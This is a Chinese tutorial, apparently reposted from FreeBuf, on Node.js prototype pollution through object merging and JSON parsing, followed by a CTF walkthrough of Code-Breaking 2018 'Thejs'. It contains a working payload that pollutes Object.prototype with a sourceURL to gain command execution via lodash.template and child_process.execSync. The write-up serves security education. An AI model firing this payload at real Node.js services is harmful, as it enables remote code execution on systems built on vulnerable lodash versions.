如何解析Node.js原型链污染的利用,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
我将介绍在什么情况下原型链会被污染,以及通过ctf题来展示实际场景中如何去利用原型链污染。
修改一个对象的原型中的属性,影响到新实例化出来的对象,使其带上了我们给对象原型添加的属性,这就是原型链污染,那么在实际应用中哪些情况会存在原型链被污染的可能呢?
之前说过在JavaScript中对象就是键值对的集,并且我们试验过这样一段代码:
var obj = {
"name": "ErDogQAQ",
"team": "ATL"
}
console.log(obj.name);
console.log(obj.team);
console.log(obj);
发现了对象中存在一个名为__proto__
的键,而他就指向他构造函数的原型,我们后面也通过A.__proto__.a = 2;
这样修改这个键的值的方式造成了原型链污染,呢么我们也就有思路了,只要找到那些我们能够控制数组(也就是对象)的键名的操作,我们就可以通过修改键名为__proto__
并控制它的值的方式来造成原型链污染。
在实际中能够进行这种参数的函数一般有:
对象合并(merge);
对象克隆(clone)(本质还是将一个对象合并到空对象中)
我们以合并为例,先搞一个merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中存在赋值的操作:target[key] = source[key]
那么我们将key改为__proto__
是不是就可以原型链污染了呢?我们用代码来实验一下:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)
可以看到,合并确实成功了,o1本来是空对象,现在已经有了属性a和b,但是原型链并没有被污染,新构造的对象o3并没有带上我们预想的属性b。
我们来分析一下原因,随后查看对象o2发现,在我们创建o2的时候,__proto__
已将代表了o2的原型,此时去遍历o2的所有键名拿到的值是[a,b],而__proto__
并没有作为键名被赋值,所以我们并没有修改Object的原型。
那么我们如何才能让__protp__
被认为是一个键名呢?答案是利用JSON解析。
我们修改一下代码:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)
可以看到这次新建的o3对象已经带上了b属性,说明Object已经被污染,同样我们看o2对象时也可以看到,__proto__
也被认为是一个键名了。
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
下面我们就开始结合ctf中的题目进行实际分析。
通常在ctf中原型链污染的题目都会直接给出源码,并且源码通常都比较长,直接去看并不能很好的理解代码,所以需要本地搭建一个环境来方便我们本地尝试以及动态调试。
这里以Code-Breaking 2018的Thejs这一题为例。
这个就不多解释了直接去官网下载并安装就可以了。
安装完后直接在cmd下输入node命令就可以像python一样进入命令交互模式了。
https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web
在cmd中进入源码所在的目录,然后直接执行npm install
命令就可以自动安装所需的依赖包了。
安装完后可以看到他提示我们发现了4个漏洞,可以运行npm audit fix
进行修复,或运行npm audit
获取详细信息。
这里我们就运行npm audit
看一下详细信息:
可以看到它告诉我们在lodash
这个包中有4个原型污染漏洞,这正是我们需要利用的地方所以一会我们就着重看与lodash
相关的代码就可以了。(注意这里版本是4.17.4,在新版本中漏洞已经被修复)
这里我使用VS Code 进行调试,打开VS Code后点击打开文件夹,打开源码所在目录,打开server.js然后点击左边的运行/调试按钮,点击创建 launch.json 文件,选择环境为node.js
然后就会自动在目录下生成一个.vscode文件夹里面有一个launch.json文件,检查program
是否为server.js
,没有问题直接点击启动程序就能够正常启动或者断点调试了。
我们先看一下题目源码:
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
刚才已经知道了lodash包中有反序列化漏洞,所以我们着重看与lodash相关的代码和我们上传数据的地方就可以了。
......
const lodash = require('lodash')
......
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
......
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
我们可以看到与lodash相关的代码有两句:
let compiled = lodash.template(content)
data = lodash.merge(data, req.body)
查询官方文档后知道
lodash.template
的作用:
简单理解就是一个简单的模板引擎,会将content内容放进模板渲染。
lodash.merge
的作用:
这个不用多解释,就是我们日思夜想的对象合并函数了,能够污染原型链的十有八九就是这里了。
那么我们就来试试是否真的能够污染原型链:
我们在代码中下好断点,然后提交参数。
● if (req.method == 'POST') { //在这里下断点
data = lodash.merge(data, req.body)
req.session.data = data
}
这里还需要注意,直接提交是不能造成原型链污染的,因为我们之前也试过了,只有在JSON解析的情况下__proto__
才会被认为是一个键名,才能够造成原型链污染。那么我们如何才能让我们传入的参数按照JSON解析呢?
这里我们在代码中看到const app = express()
题目使用的是express
框架,而express
框架支持根据Content-Type
来解析请求Body,所以我们只需要将Content-Type
改为application/json
即可。
我们提交一个参数:{"__proto__":{"A":"ATL"}}
看看到底会不会造成原型链污染:
提交后我们将代码步过到merge函数处理之后:
可以看到经过merge函数处理data的原型也就是Object中果然带上了A属性,证明了此处存在原型链污染漏洞。
那么我们现在找到了能够污染原型链的地方,接下来就要想想如何利用了,我们又想起了template
函数的官方文档中写了可以使用sourceURLs
进行调试,那我们就跟进template
函数看看:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
......
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
可以看到先是判断options
中是否有属性sourceURL
,如果有就进行拼接,没有则为空,然后将这个值拼接进new Function
的第二个参数。
那么我们现在就有思路了,我们可以利用原型链污染,给Object中插入一个sourceURL
属性,当执行到template
中时,判断options
中原本是没有sourceURL
的,但是因为JavaScript的查找机制会一直向上查找,查到Object中时找到了sourceURL
,然后就会拼接进new Function
造成任意代码执行。
有了攻击思路,那么我们就来构造payload测试:
{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}
提交后我们还是回来看调试信息:
可以看到经过merge函数处理,Object中已经带上了sourceURL
属性,我们到template
函数时步入在看看能否获取到sourceURL
属性:
在这里步入:
可以看到这里sourceURL
有值说明这里成功获取到了sourceURL
属性,那么我们最后看一下执行结果:
可以看到,成功执行了命令。到此我们就进行了一次完整的原型链污染利用。
看完上述内容,你们掌握如何解析Node.js原型链污染的利用的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
原文链接:https://www.freebuf.com/articles/web/264966.html